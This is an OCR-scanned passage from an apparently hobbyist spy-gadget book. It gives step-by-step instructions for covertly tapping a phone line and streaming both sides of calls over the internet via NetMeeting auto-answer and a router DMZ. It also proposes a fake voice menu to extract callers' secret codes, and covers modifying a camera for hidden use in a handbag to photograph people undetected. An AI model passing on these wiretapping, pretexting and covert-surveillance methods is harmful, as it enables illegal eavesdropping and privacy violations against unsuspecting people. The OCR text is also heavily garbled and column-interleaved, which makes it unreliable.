markering  Jargon  about  a great  product  or  service 
in  one  of  those  spooky  robotic  computer  voices, 
but  imagine  if  that  voice  could  actually  have  a real 
conversation  with  you.  I’ll  bet  that  would  mess 
with  your  head  a little  bit!  Besides  feeding  your 
own  evil  sense  of  humor,  a computer  that  could 


talk  for  you  on  the  telephone  could  provide  several 
advantages,  in  addition  to  the  obvious  voice 
masking  capability.  You  could  write  a program  to 
playback  many  preprogrammed  phrases,  to  deal 
with  telemarketers  and  other  phone  parasites.  You 
could  have  the  computer  voice  simulate  some  type 
of  intexactive  menu  to  extract  secret  codes  and 
numbers  from  tbe  caller.  Or,  you  could  even  type 
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transiadons  from  a foreign  language  and  have  a 
conversation  in  a language  you  have  no  idea  how 
to  speak.  The  key  lo  this  system  is  the  teal  to 
speech  capabilities  of  your  personal  computer 
mixed  with  the  telephone  inpui/output  box  from 
Project  12. 

If  you  are  running  Windows  XP.  then  your 
computer  can  already  talk  using  several  differeni 
default  voices,  although  these  are  not  exactly  the 
most  realistic  sounding  voices  that  are  available 
by  any  stretch  of  the  imagination.  Some  of  the 
commercially  available  computer  voices  sound 
strikingly  realistic,  while  others  sound  tike  Robbie 
the  robot;  but  then  again,  a fake  sounding  android 
voice  may  be  what  you  are  looking  for.  Because 
the  operating  system  already  contains  the 
runciionality  to  convert  text  into  speech  using 
its  built-in  speech  engine,  you  are  free  to  add  as 
many  different  styles  of  voices  you  like,  and 
switch  between  them.  The  default  voices  included 
with  Windows  go  by  the  name  of  Mike  and  Sam. 
and  they  are  certainly  understandable  as  far  as 
computer  speech  goes,  but  not  realistic  enough 
to  PO.SS  for  human.  Lei's  get  your  computer  calking 
so  you  can  hear  this  for  yourself. 

Gel  into  your  control  panel  by  selecting  the  stan 
button,  then  settings,  then  control  panel  to  open  the 
window  containing  the  icon  labeled  '^Speech.*' 
Double  click  on  it  to  open  the  speech  propenies 
panel.  As  shown  in  Figure  3*17.  there  arc  two  main 
tabs  at  the  cop  of  the  window,  and  the  one  you 
want  to  select  is  labeled  'Text  To  Speech  r 

As  you  can  see.  this  simple  voice  testing 
program  lets  you  choose  any  of  the  available 
voices  installed  in  your  computer  to  speak 
whatever  line  of  text  you  want  lo  type  in  the  box 
next  to  (he  preview  voice  button.  Since  1 have 
many  additional  voices  besides  (he  default 
Microsoft  Mike  and  M&ry,  my  voice  selection  text 
box  reads  ATT  Crystal  16.  a very  clear  and  realistic 
>ounding  female  voice  from  AT&T  labs.  Using 
only  this  simple  voice  testing  program  and  the 
telephone  input/output  box,  you  can  have 
conversations  with  your  caller  simply  by  typing 
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(ext  into  the  box  and  pressing  the  speak  button.  If 
you  can  type  at  any  decent  rate,  this  procedure  will 
be  a lot  smoother:  but  not  to  worry  if  you  type 
with  two  fingers,  there  are  many  better  text  to 
speech  programs  available,  and  if  you  can  do  a 
little  pro^amming.  making  your  own  is  much 
easier  than  you  might  think.  Microsoft  has 
generously  provided  at  no  charge,  a speech  API 
(SAPI)  for  Visual  Ba.sic  and  Visual  C,  which  you 
can  use  to  make  your  own  text  to  speech  programs 
with  as  little  as  10  lines  of  code.  The  SAPI 
download  contains  fully  working  examples  for 
both  languages,  and  complete  documentation  on 
not  only  (he  text  lo  speech  engine,  but  the  speech 
recognition  en^ne  as  well.  Even  if  you  do  not  plan 
to  code  your  own  interface,  some  of  the  ready  to 
run  examples  that  come  with  SAPI  make  great 
little  programs  for  typing  text  and  controlling  the 
speech  parameters  such  as  speed,  pitch,  and 
gender.  The  download  i.s  highly  recommended,  and 
can  easily  be  found  by  searching  the  Internet  for 
•SAPI.*' 


Properties 


OX 


An* 


35 


Project  16— Let  Your  Computer  Do  the  Talking 


Project  17— World  Wide  Telephone  Tap 


If  your  computer  lacks  any  speech  engine 
for  whatever  reason,  you  can  sdiJ  try  this 
project  out  by  searching  the  Internet  for  “text  to 
speech  demo,*'  where  you  will  be  presented  by 
an  online  demo  that  lets  you  plug  in  text  to  be 
spoken  by  the  company's  latest  (ext  to  speech 
voices.  These  interactive  demos  will  simply 
convert  the  text  to  sound  at  the  server  side  then 


Project  17 — UJorld 

Here  is  a very  simple,  yet  scary  project.  A device 
using  a dollar's  worth  of  pans  and  free  software 
that  can  let  you  listen  lo  both  sides  of  a remote 
telephone  conversation  covertly  from  anywhere  in 
the  world  that  has  an  Internet  connection.  I call 
this  project  '^scary'*  because  it  was  so  simple  to 
build  that  it  took  less  than  10  minutes  to  get  it 
working,  and  it  performed  perfectly  right  from  the 
start.  For  this  project,  you  will  need  to  build  (he 
very  simple  telephone  audio  interface  from  Project 
S,  although  if  you  really  want  to  be  lazy,  two  .luP 
capacitors  and  a .simple  j audio  cable  would  also 
do  the  trick.  All  we  want  to  do  is  connect  the 
telephone  line  to  the  microphone  input  on  your 
computer’s  sound  card  in  a very  unobtrusive  way 
so  that  it  draws  absolutely  no  DC  from  (he  phone 
line,  and  creates  no  detectable  loading.  Because 
the  microphone  input  on  your  sound  card  has  such 
a sensitive  preamplifier,  it  will  pick  up  audio 
through  the  capacitors  without  any  problem  at  all. 
The  heart  of  this  project  is  a bit  of 
teleconferencing  software  that  comes  with  any 
version  of  the  Windows  operation  system — it  is 
called  Microsoft  NetMeeiing.  NeiMeeting  is 
designed  to  stream  audio  and  video  between  two 
computers  connected  to  the  Internet  or  by  modem, 
and  since  we  are  only  using  It  to  transmit  audio  in 
one  direction,  there  will  not  be  a massive  increase 
in  bandwidth  like  there  would  be  for  duplex  audio 
and  video  communication. 


return  to  your  computer  a downloadable  or 
streaming  audio  clip.  This  provides  similar 
functionality  to  our  speech  test  program.  If  you 
dig  around  a bit.  you  will  find  some  voice.s  are 
so  realistic  that  you  would  swear  there  was  a 
person  at  the  other  end  talking  directly  into  a 
microphone,  and  this  is  most  likely  your  goal  for 
dying  this  experimeni. 


LUide  Telephcne  Tap 

Lei's  start  by  getting  familiar  with  NetMeeiing, 
a program  that  most  pet^le  have  never  even  seen 
since  it  is  almost  hidden  in  your  compuler.  Go  to 
(be  Stan  buiion  and  dick  on  run,  then  type  in  ihc 
wo*d  "coor  and  press  enter.  The  NeiMeeting 
c(mfigurati<m  wizard  will  present  itself,  and  this 
will  setup  the  software  for  the  first  use  and  place  a 
shortcut  on  the  desktop.  Enter  whatever  name  and 
email  you  like  just  to  get  past  the  first  screen,  then 
choose  not  to  be  listed  in  any  online  directories. 
Press  next  during  all  the  audio  tests,  or  whatever 
else  pops  up.  titen  finally  choose  to  place  a 
shortcut  on  your  desktop,  and  the  installer  will 
finish,  presenting  you  with  the  NetMeeiing 
window  as  shown  in  Figure  3- 18. 

This  sneaky  hack  requires  two  computers,  a host 
(the  computer  plugged  into  the  phone  line  you 
want  to  monitor),  and  a viewer  (the  remote 
compuler  you  plan  to  snoop  with). 

Let’s  begin  with  the  host  computer,  as  I will 
assume  you  are  working  on  it  right  now.  In 
NeiMeeting.  choose  the  call  menu,  and  then 
choose  “automatically  accept  calls"  so  that  a 
checkmarit  is  placed  next  lo  the  option:  this  is  very 
imponant  as  NetMeeiing  must  be  able  to  run 
without  intervention  when  you  are  calling  from  the 
viewer  computer.  Believe  it  or  noL  you  are  done 
s«ang  up  (he  host  ccmiputer.  and  as  long  as  your 
telephone  audio  interface  is  correctly  set  up  to 
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> our  sound  card,  this  computer  is  ready  to  answer 
your  call  and  be^in  transmit itng  both  sides  of  any 
^cnversation  that  may  be  happening  on  the  phone 
line  when  you  ‘*tap’'  in.  Before  we  get  to  ihe 
Mcwer  computer  setup,  you  have  to  know  a few 
things  about  your  Imcniei  setup,  specifically  the 
router  settings  if  you  have  one  and  the  host 
womputer  $ IP  address.  I have  very  limited  space 
m this  book  to  ramble  on  like  a computer  nerd, 
so  I um  going  to  moke  this  next  part  as  brief  a.s 
possible,  and  most  of  this  ioformution  can  be 
found  in  your  router's  manuaJ-^if  it  hasn't  yet 
been  used  as  campfire  kindling. 

First,  you  need  to  know  the  IP  of  the  host 
computer,  as  we  will  be  colling  it  by  its  IP  number 
a hen  wc  arc  attempting  to  trigger  NetMecting  to 
ioswer  our  cali.  Click  the  stan  button,  and  enter 
The  word  "command*'  in  the  run  box  then  hit  enter 
» gel  into  a DOS  window  (ugh.  I know).  Now 
cuter  the  command  "ipconiig*'  and  press  Enter  to 
zei  Windows  to  show  you  the  current  IP  settings 


for  your  network  card.  The  jargon  that  is  returned 
will  be  in  a fonnat  similar  to  this: 

Ethernet  adapter  Local  Area  Connection: 

Connection-specific  DNS  Suffix.: 

IP  Address : 192.168.1.100 

Subnet  Mask : 255.255.255.0 

Default  Gateway : 192.168.1.1 

The  block  of  four  numbers  after  the  heading  IP 
Address  is  the  number  you  need  to  know,  so  pencil 
it  down  somewhere.  If  you  do  not  share  your 
Iniemei  with  any  other  computers,  then  you  ore 
ready  to  roll;  just  enter  the  P address  from  the 
host  computer  into  the  coll  box  of  NetMeeting  the 
viewer  computer  and  press  the  call  button  as 
shown  in  Figure  3- 1 8.  Within  seconds,  the  host 
computer  will  answer  and  begin  transmitting  the 
sound  coming  into  the  microphone  input  directly 
to  the  view  computer.  If  there  is  a call  in  progress, 
you  will  cleariy  hear  both  sides  of  the 
conversation,  even  if  you  are  on  the  other  side  of 
the  globe  dialed  in  from  some  makeshift  Internet 
cafd.  If  your  host  computer  IP  begins  with  the 
digits  192.  or  you  have  a router  installed  to  shore 
the  high  speed  Imemel  connection  with  several 
computers  then  things  gel  a little  more  tricky.  With 
a router,  all  the  computers  connected  to  it  will  have 
TP  addresses,  must  likely  beginning  with  the 
number  192.  and  because  the  router  acts  o.s  a 
firewall  from  the  Internet,  you  can  never  reach  a ^ 
192  address  from  any  computer  unless  it  is 
connected  (o  one  of  the  LAN  pons  on  the  router. 

This  Is  of  course  bad  news  if  you  had  plans  to  hock 
my  192.168.1.100  IP  address  presented  earlier  in 
this  section  (don't  ^forry,  1 would  have  tried  it  os 
well)!  To  allow  a single  computer  on  the  firewall 
side  of  a router  tu  expose  itself  to  the  Internet,  you 
will  have  lo  get  into  your  router's  configuration 
page  and  change  a setting  called  DMZ 
(demilitarized  zone).  By  emermg  your  host 
computer's  192  IP  address  into  the  DMZ  box.  all 
traffic  presented  to  the  router's  IP  address  (the 
address  handed  to  it  by  your  Internet  service 
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Project  1 7~Wor Id  Wide  Telephone 


Project  17— World  Wide  Telephone  Tap 


provider)  will  be  passed  along  to  (hai  computer.  In 
my  router.  I have  set  the  DMZ  box  to  point  to 
192.168.1.100,  so  Chat  I can  start  a NeiMeeiing 
session  with  my  host  computer. 

So  what  address  do  you  enter  on  the  viewer 
computer  if  the  192  address  csmnoi  by  reached? 
Well,  you  have  to  6nd  out  whai  address  was 
handed  to  the  router  by  your  ISF,  and  this  can  be 
found  on  the  router’s  status  page.  Check  your 
router’s  manual  on  how  to  get  into  the  status  page 
and  DMZ  conhguratioD  page  if  you  haven’t  done 
so  yet.  and  you  will  be  ready  to  go.  Like  I said, 
this  Is  bore  bones  explanation  on  using  Net 
Meeting  through  a router,  and  if  you  need  more 


inftHmadcm.  the  router's  configuration  manual  will 
have  all  you  need.  If  you  managed  to  get  the  audio 
to  transmit  from  one  computer  to  the  other  in  your 
borne  or  ofGce,  then  it  will  work  exactly  the  same 
way  from  any  Internet  connection  anywhere  in  the 
world,  creating  the  World  Wide  Telephone  Tap. 
Have  fun  with  this  simple  spy  project,  and  make 
sure  lo  email  me  your  IP  address  when  you  get  it 
all  setup  so  I can  eavesdrop  on  you ! OK,  1 am  just 
kidding:  any  self-respecting  hacker  knows  how  to 
get  an  IP  without  asking.  Hear  ya  later. 

In  the  next  section,  we  will  dive  into  the  world 
of  digital  photos  and  camems,  and  how  to  hack  or 
enhance  them  for  your  various  coven  spy  missions. 
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Section  Four 


Digital  Camera  Hacking 

Praject  18 — Enhancing  Digital  Photos 


DigitaJ  cameras  are  easy  to  use,  coropacl.  and 
inexpensive,  which  is  why  they  have  replaced  most 
film  based  cameras.  Another  reason  why  digital 
cameras  are  preferred  over  film  for  surveillance 
and  coven  work  is  because  (he  images  will  likely 
be  transferred  directly  onto  a computer  hard  ilriN*e 
or  memory  stick  for  storage  and/or  enhancement. 
Most  of  the  photography  that  you  will  be  denng 
will  take  place  under  less'than- ideal  conditions, 
such  as  dimly  lit  environments,  fast  moving 
subjects,  through  window.^,  or  any  combination  of 
these,  so  the  ability  to  enhance  the  image  will  be  a 
great  asset  to  your  list  ofskilK, 

We  have  all  heard  of  image  editing  software 
duch  Os  Adobe  Photoshop*,  as  it  ha.s  become  so 
popular,  that  the  term  *'photo  shopped  image"  ts  a 
common  term  indicating  that  the  original  image 
wis  manipulated  in  some  way.  Image  manipulation 
techniques  can  be  used  to  remove  red*eye.  insert 
people  into  photographs,  enhance  colors,  or  make 
convincing  forgeries  that  fool  even  the  most  highly 
trained  eyes.  Many  of  the  same  techniques  used  to 
alter  a photo  can  also  be  used  to  enhance  a photo, 
such  as  a poorly  lit  scene,  or  blurry  image  that  you 
may  have  captured. 

If  you  are  attempting  to  take  a photo  covertly, 
then  you  will  most  likely  be  quite  far  from  the 
subject,  and  will  certainly  not  be  using  the  flash, 
so  the  resulting  image  will  likely  be  dark  and 
blurry,  or  the  details  will  be  difficult  to  see 
clearly.  The  good  news  is  that  most  brightness 


problems  con  be  easily  cured  by  some  brightness 
and  contrast  tweaking  using  computer  software, 
and  details  can  be  greatly  enlarged  due  to  the 
high  pixel  count  of  even  the  cheapest  digital 
camera.  Take  a look  m Figure  4-1 . It  was  taken 
from  a moving  vehicle  in  poorly  lit  conditions 
with  no  Hash,  and  without  even  allowing  the 
camera  to  set  its  focus  properly.  However,  you 
will  notice  that  a brightness  and  contrast  increase 
of  200  percent  has  increased  the  visibility  of  the 
leiiering  on  the  building  to  almost  daylight  levels, 
and  a further  brightness  enhancement  of  the 
figure's  face  using  a zoom  factor  of  has 
brought  a lot  of  detail  to  tltc  photo,  enough  for  u 
positive  identification. 


n 


FiQLHE  M-l  A p<H>Hy  lit  scene  can  be  enhanced  using 
brightneu.  conirast.  and  zoom  tipiions. 


Project  18— Enhancing  Digital  Photos 


While  bhghtaess.  conuasi,  and  zoom  represent 
Ihe  three  most  basic  funcnons  that  eveiy  image 
editini  software  would  offer,  they  are  probably  the 
most  useful  to  bring  poorly  lit  and  distant  images 
back  to  life.  Some  image  editors  like  Pboto^op*, 
and  Paint  Shop  Pro*  allow  the  use  of  filters,  which 
are  extensions  to  the  functionality  of  the  main 
program  adding  some  type  of  image  manipulaticm 
or  enhancement  features,  and  although  the  built-in 
filters  that  come  standard  with  these  image  editors 
may  be  very  powerful,  (here  are  always  new  filters 
being  developed  that  can  aid  you  in  restonng 
details  from  your  photos.  Edge  detection,  false 
color,  grain  removers,  and  even  filters  used  for 
machine  vision  can  come  in  bandy  depending  on 
how  bad  your  images  are.  and  what  you  need  to 
extract  from  them.  There  are  of  course  limiu  to 
what  can  be  done  with  a bad  photo,  and  unlike 
television  shows  such  as  CSI,  where  they  extract  a 
perfect  license  plate  number  from  nothing  more 
than  a blurry  security  camera,  you  will  see  that  the 
‘‘garbage  in>gurbage  out"  rule  of  computer  also 
applies  here,  (f  your  camera’s  highest  resolution 
setting  is  high.  3400  x 3000  pixels  in  size,  for 
example,  then  you  will  probably  be  able  to  zoom 
in  on  a license  plate  that  looks  no  bigger  than  a 
grain  of  rice  on  your  screen  when  looking  at  the 
photo  Hi  to  the  borders  of  your  screen.  If,  however, 
your  original  image  is  token  at  a low  resolution 
that  becomes  close  to  (he  resolution  of  your 
computer  screen,  then  what  you  see  is  what  you 
get.  and  there  will  be  no  gains  made  by  zooming  in 
the  Image,  as  you  will  only  be  making  the  pixels 
larger.  If  all  of  (his  resolution  and  pixels  jaigon 
seems  a little  confusing,  take  a photo  of  (he  same 
object  with  your  digital  camera  sei  on  iu  hi^st 
quality  setting,  and  then  lake  the  photo  again  on 
your  camera’s  lowest  quality  setting,  Open  both 
images  into  your  photo  editing  or  viewing 
software.  The  first  thing  you  will  notice  is  the  vast 
difference  in  the  size  of  the  image  file.  The  lower 
quality  image  will  be  10  or  so  times  smaller  than 
the  high  quality  image  because  this  is  due  to  the 
number  of  pixels  in  each  image.  When  you  first 


compare  both  images  you  might  not  even  notice 
(be  difference.  This  is  not  because  the  low  quality 
image  is  Just  as  good  as  the  high  quality  version, 
but  because  your  monitor’s  resolution  is  less  than 
both  images.  This  will  cause  a scaling  effect  that 
shrinks  the  images  to  conform  to  the  size  of  your 
computer  screen  by  dropping  as  many  pixels  a.<; 
needed.  So  why  lake  images  at  the  highest  quality 
setting  if  it  only  increases  the  file  size  rather  than 
the  quality  you  ask?  The  answer  to  that  question 
will  present  itself  very  quickly  emee  you  zoom  into 
each  image  so  that  ii  is  displayed  at  100  percent  of 
its  n<»ma]  size  on  your  computer  screen.  The  low 
quality  image  when  displayed  at  100  percent  may 
end  up  to  be  fairly  close  to  the  size  of  your 
computer  screen,  or  even  slightly  less,  so  it  will 
look  just  as  good,  or  might  offer  a bit  of  zoom  to 
bring  distant  objects  in  a bit  closer.  If  the  image  is 
a bit  bigger  ihan  your  screen,  then  there  will  be  a 
function  to  pan  or  slide  the  image  around  to  see  all 
of  it.  Now  try  to  view  1 00  percent  function  on  the 
highest  quality  image  and  be  prepared  for  some 
serious  zomn  action,  The  highest  quality  image 
will  mosi  likely  fill  an  area  four  times  the  size  of 
your  computer  screen  or  more,  so  distant  objects 
will  be  brought  into  focus  ds  if  you  took  the  photo 
through  a telescope.  Now.  it  should  be  obvious  as 
to  why  you  should  always  set  your  camera  for  Its 
highest  quality  selling  when  using  it  for 
surveillance  svoric. 

Image  enhancement  is  not  limited  to 
still  imaging.  Most  camcorders  offer  (he 
abiliiy  lo  export  the  video  onto  a computer  for 
editing  in  software  that  ha.s  much  the  same 
functionality  as  (he  photo  editing  sofiwarc.  Video 
camera  resolution  is  not  nearly  as  high  as  digital 
camera  resolution,  offering  an  image  size  of 
approximately  720  x 480  as  compared  to  the 
4000  X 4000  or  higher  Tcsoluhons  of  newer 
digital  cameras.  Besides  zoom  enhancement, 
however,  all  of  the  same  techniques  and  filters 
are  available  for  processing  live  video  such  as 
brightness,  conmsu  and  edge  detection,  to  name 
just  a few. 
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Figure  ^'3  Pwcesiing  a single  frame  of  live  video  to 
enhance  details. 


The  single  frame  showa  in  Figure  4-2  was 
cjplured  from  a camcorder  poiniing  through  a car 
uindshield  while  driving  at  night.  On  the  (eft,  there 
really  isn’t  a lot  of  usable  information  presented 
because  it  is  out  of  focus  due  to  motion  blur,  and 
has  been  over  saturated  by  light  from  the  car’s 
headlights.  Once  processed  by  an  edge  detection 


filter,  followed  by  a color  reduction  filter,  and 
finally  a negative  image  filter,  the  details  become 
quite  clear  making  tbe  lettering  in  most  of  the 
si^s  very  legible. 

Live  video  can  be  processed  by  either  freezing 
a single  fran>e  and  working  with  it  in  your  photo 
editing  program,  or  by  applying  filters  directly  to 
the  live  video  in  a video  editing  program  such  as, 
Adobe  Premiere*,  or  Sony  Vegas*.  You  will  have 
lot  more  control  over  the  image  by  freezing  a 
single  frame  for  processing,  but  will  lose  the 
ability  to  view  the  clip  as  a video  stream,  so 
choose  your  toeds  wisely.  Simple  video  filters  such 
as  brightness  contrast,  saturation  and  crop,  can  be 
applied  to  a video  segment  that  will  be  saved  back 
to  disk  for  permanent  correction,  and  if  your 
camera  allows,  even  back  to  the  original  tape. 
Mastering  the  use  of  filters  in  your  digital  editing 
software  is  a key  skill  to  have  in  the  spy  game,  and 
all  of  the  projects  that  follow  will  benefit  greatly 
from  this  ability,  as  they  will  stretch  the  limits  of 
whai  is  possible  with  digital  cameras. 


Project  19 — Hacking  the  Digital  Camera's  Trigger 


Digital  cameras  are  great  for  covert  photography 
due  to  their  excellent  resolution  and  telephoto 
.apabilities,  but  for  close  up  and  personal 
missions,  you  are  not  going  to  remain  undetected 
if  you  are  pointing  a digital  camera  at  your 
subject.  Even  if  you  manage  to  carry  the  digital 
camera  in  on  inconspicuous  way,  how  arc  you 
going  to  hide  the  light  from  the  LED's  and 
viewfinder,  or  how  do  you  plan  on  actually 
pressing  the  photo  trigger  without  looking 
-uspicious?  You  are  going  to  hack  the  camera  for 
jovert  operation,  that's  how!  You  may  want  to 
purchase  another  digital  camera  specifically  for 
this  project,  since  we  are  going  to  be  performing 


some  pretty  ugly  hacks  on  the  poor  little  guy. 

A cheap  digital  camera  can  be  purchased  for  less 
than  $100  at  most  second*hand  shops,  and  as 
newer  models  come  out,  you  might  even  find  last 
year's  camera  going  cheap  right  ofi  the  shelf. 

For  close*range  "guerilla"  photography, 
you  will  not  need  any  fancy  features,  or 
high*resolutimi  images,  in  fact,  you  will  not  even 
be  using  the  flash  since  everything  but  the  actual 
lens  of  the  camera  will  be  hidden  out  of  view. 

The  ideal  spy  camera  will  run  for  hours  rather 
than  minutes  on  batteries,  make  no  noise  or 
flashes  when  it  lakes  a photo,  and  allow  operation 
by  pressing  a single  button  that  can  operated  in  a 
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Project  19— Hacking  the  Digital 


Project  19— Hacking  the  Digital  Camera's  Trigger 


Figure  M*3  Removing  the  liny  irijtjier  fwitcH/rom  the 
digitai  camera. 


coven  manner  that  does  not  aitracc  attention. 
Armed  widi  only  a few  feel  of  wire,  a few 
switches  and  connectors,  and  a soldering  iron,  we 
will  make  this  camera  a reality. 

First  find  a suitable  digital  camera  (preferably 
not  a new  one),  and  remove  the  entire  plastic 
casing  to  reveal  the  guts.  More  than  likely  the 
evil  designers  that  mode  the  camera  will  have 
used  27  different  sized  screws  with  some  type 
of  whimsical  head,  so  be  patient,  and  try  to 
remember  where  they  all  go  for  the  reassembly 
part  that  will  hopefully  follow.  Our  goal  will  be  to 
find  the  two  wires  that  lead  from  the  baiiery 
comparimem  to  the  circuit  board  and  to  locate  ihe 
camera  iKgger  switch  for  removal.  The  (rigger 
will  most  likely  consist  of  a iwo'Slage  switch  that 
you  press  halfway  down  for  focus,  then  the  rest  of 
the  way  for  taking  the  photo,  so  there  will  be  at 
least  three  pins  used,  and  possibly  four,  depending 
on  the  design.  You  must  carefully  unsolder  the 
tiny  switch  from  whatever  circuit  board  it  is 
connected  to,  taking  note  of  its  orientation  by 
marking  one  of  the  pins  on  (he  switch  and  on  (he 
circuit  board.  We  will  need  to  test  the  switch  with 
an  ohmmetcr  to  determine  its  function,  which  is 
why  it  is  important  to  know  which  pins  on  the 
switch  correspond  to  which  holes  on  the  circuit 
board.  Figure  4-3  shows  the  tiny  trigger  switch 


Figure  M-M  Wiring  modificaiions  for  boih  ihe  banery 
pack  and  trigger  iwitch. 


removed  horn  the  small  circuit  board  at  the  top 
of  the  camera. 

The  liny  electronics  in  the  digital  camera  will  be 
sensitive  to  heat,  so  be  careful  when  removing  the 
switch,  applying  only  enough  heat  and  pressure  to 
remove  the  pads  from  the  circuit  board.  You  will 
need  to  remove  the  switch  intact  so  it  can  be  tested 
on  an  ohmmcier  to  determine  which  pins 
correspond  to  the  focus  (half  depressed)  function, 
and  which  pins  crarespond  to  the  photo  function, 
if  the  switch  has  only  three  pins,  then  there  will  be 
a common  ground  connection  and  one  pin  for  each 
function,  but  if  the  switch  has  four  pins,  there  may 
be  a sepaniie  ground  for  each  function,  or  two  pins 
may  be  tied  together  as  a common  ground.  Testing 
every  combination  of  pins  while  pressing  the 
switch  in  both  positions  will  yield  the  answers  to 
the  functionality  of  each  pin.  and  this  data  will  be 
used  to  solder  the  wires  in  place  of  the  trigger 
switch  and  to  connect  it  to  the  new  external  switch. 
Solder  the  three  or  four  wires  to  the  pads  that  once 
held  the  trigger  switch,  using  some  type  of  logical 
color  coding,  such  as  green  for  ground,  yellow  for 
focus,  and  red  for  photo,  and  so  on.  A bit  of 
telephone  wire  works  good  for  this  purpose.  While 
the  camera  casing  is  removed,  you  will  also  need 
to  locate  the  two  wires  that  connect  the  battery 
holder  to  the  main  circuit  board  and  solder  two 


42 


Figure  M*5  Wring  mM/ificarums  eomp/eied  for  external  pon-er  and  irigger  swiich. 


new  wires  ai  the  point  where  the  original  wires 
connect  to  the  baiiery  holder  terminals.  You  do  not 
have  to  disconnect  the  original  wires  feeding  the 
internal  battery  holder  as  long  as  you  never  attempt 
to  use  on  external  battery  pack  while  there  are 
batteries  installed  in  the  camera.  You  will 
inadvertently  create  a bomb,  rather  than  a covert 
camera  because  the  larger  baiienes  will  forcefully 
charge  (he  smaller  ones  until  they  burst.  If  you  do 
not  plan  to  ever  use  the  small  batteries  required  by 
(he  camera,  (hen  disconnect  the  internal  buttery 
holder  completely,  and  just  feed  the  new  wires  out 
tn  your  external  battery  pock.  Figure  4-4  shows  my 
completed  wiring  job  consisting  of  a pair  of  wires 
for  the  external  power  source  (top),  and  three  wires 
connected  to  the  pads  that  once  held  the  tiny 
tngger  switch  (right).  Make  sure  to  get  the  polarity 
correct  on  your  battery  wires  (use  obvious  colors), 
or  you  will  be  letting  (he  magic  smoke  out  of  your 
camera  very  quickly. 

Before  you  attempt  to  put  the  cover  back  on  the 
camera  (a  task  requiring  patience),  you  should  test 
>our  wiring  by  applying  a power  source  (waiching 
polarity),  and  then  by  .shorting  the  appropriate 
:cmbinadon  of  (rigger  wires  in  order  to  snap  a 
pboio.  If  everything  seems  to  work,  put  it  all  back 


togeiber.  You  may  have  to  use  a little  creativity  in 
order  to  find  a route  for  the  wires  to  exit  the  case, 
but  the  obvious  place  would  be  out  the  top  of  the 
camera  where  the  trigger  swiich  once  lived.  The 
ends  of  the  newly  installed  wires  will  then  need 
some  type  of  connectors  installed  so  the  new 
battery  pack  and  trigger  switch  can  be  installed, 
and  removed  if  necessary.  Ii  Is  Imponani  thal  the 
trigger  switch  and  battery  pack  be  removable, 
especially  if  you  plan  to  hide  the  camera  in 
some  location  that  will  require  routing  of  the 
trigger  swiich  to  an  appropriate  and  accessible 
area  on  your  body.  Battery  packs  can  also  be 
interchanged  depending  on  the  length  of  time 
the  mission  may  last,  with  D-Cell s being  the 
ultimate  choice  for  all-day  operation.  A coax 
style  connector,  as  commonly  found  on  AC 
adapters,  will  make  a good  mating  pair  for  (he 
battery  pack,  as  this  type  of  connector  cannot 
by  accidentally  reversed,  an  error  that  you  will 
only  make  once  with  a digital  camera. 

As  shown  in  Figure  4-5.  my  modified  digital 
camera  is  ready  to  accept  a 6- volt  battery  pack 
based  on  four  E>-Cell  batteries,  and  a simple 
remote  trigger  switch  made  horn  two  basic 
pushbutton  switches  and  a plastic  bottle  cap.  With 
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Project  19— Hacking  the  Digital  Camera' s Trigger 


Project  20^Covert  Handbag  Digital  Camera 


thisS  configuration,  the  caniera  will  run  toe  houis, 
as  compared  to  minutes  using  its  original  four 
AAA  Cell  batteries. 

This  digital  camera  is  sow  ready  to  go 
covertly  undercover,  and  it  can  be  operated  from 
a hidden  switch  placed  inside  a short  pocket  or 


fed  through  a shirtsleeve  into  the  operator’s  hand. 
Although  the  unit  is  not  extremely  small  when 
compared  to  some  expensive  professional  spy 
gear,  it  sh<H)Id  not  be  bard  to  come  up  with 
imaginative  ways  to  conceal  the  unit  for  close 
contact  operations. 


Project  2G — Covert  Handbag  Digital  Camera 


This  project  needs  very  little  description.  It  is 
nothing  more  than  a real-world  installaiion  of  the 
modified  digital  camera  from  the  previous  section. 
A small  leather  handbag  is  used  lo  contain  the 
digital  camera,  batteries,  and  trigger  switch  so  that 
the  person  carrying  the  bag  can  easily  aim  the  lens 
at  the  target  area,  and  snap  as  many  photos  as 
nece.SsSary  without  even  the  slightest  hint  of 
detection.  The  trigger  switch  can  either  be  held  in 
the  hand  while  carrying  the  bag.  or  fed  through  the 
sleeve  for  hand  operation  while  the  bag  Is  slung 
over  the  shoulder  - either  way  it  is  very  easy  to 
operate  the  trigger  without  being  seen.  As  shown 
in  Figure  4-6,  the  small  black  bag  shows  no  signs 
of  its  true  identity  besides  the  small  lens  peering 
through  a hole  cut  in  the  from  pocket. 

In  actual  use,  the  lens  would  not  be  visible  at  all 
as  it  is  normally  covered  with  a small  dark  plastic 
emblem  that  acts  as  a one-way  mirror,  and  It  has 
only  been  removed  for  this  photo  to  show  the 
placement  of  the  lens.  Any  piece  of  transparent 
tinted  plastic  such  as  a sunglass  lens  can  be  cut  to 
look  like  it  belongs  on  the  bag.  and  due  to  the 
great  low  light  capabilities  of  the  digital  camera,  it 
has  almost  no  effect  on  the  resulting  image.  If  the 
images  appear  a bit  dark,  that  will  not  present  a 
problem,  as  we  can  bring  (hem  back  to  life  using  a 
photo-editing  program.  Handbags,  backpacks, 
purses,  hoods,  and  even  briefcases  arc  great  places 


Rgura  M-6  This  fuuuibag  looks  good  on  you. 
as  weli  as  tu  you. 

to  hide  a hacked  digital  camera,  as  they  have 
ample  room  for  the  camera  and  batteries,  and  do 
not  look  out  of  place  in  public  places.  This  type  of 
mounting  also  lets  (he  operator  casually  turn 
towards  the  target  to  take  an  accurate  photograph 
without  looking  suspicious  in  any  way.  shape  or 
form,  or  course,  maybe  a man  carrying  this  bag 
may  look  a Hole  out  of  place,  but  Tm  sure  your 
evil  genius  imagination  will  come  up  with  a 
coven- mounting  scheme  that  fits  your  personal 
character. 
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Project  21 — Time  Lapse  Camera  Trigger 


Video  cameras  and  video  recorders  am  designed 
to  monitor  and  record  events  in  an  area  where  you 
cannot  be  present  at  aJl  times,  but  as  we  know,  the 
resoiuiion  and  quality  of  security  cameras  comes 
nowhere  near  that  of  even  the  least  expensive 
digital  cameras.  It  would  sure  be  nice  to  have  the 
ability  to  cuich  every  detail  in  a single  video 
fnme,  but  at  30  frames  per  second,  this  would  not 
be  possible  due  to  the  massive  amounts  of  storage 
space  that  would  be  necessary.  Of  course,  it  may 
not  be  necessary  to  have  that  kind  of  high 
resolution  detail  at  such  a high  frame  rate,  and  a 
simple  one  frame  per  second  or  even  less  may  be 
all  that  is  necessary,  especially  if  you  had  a great 
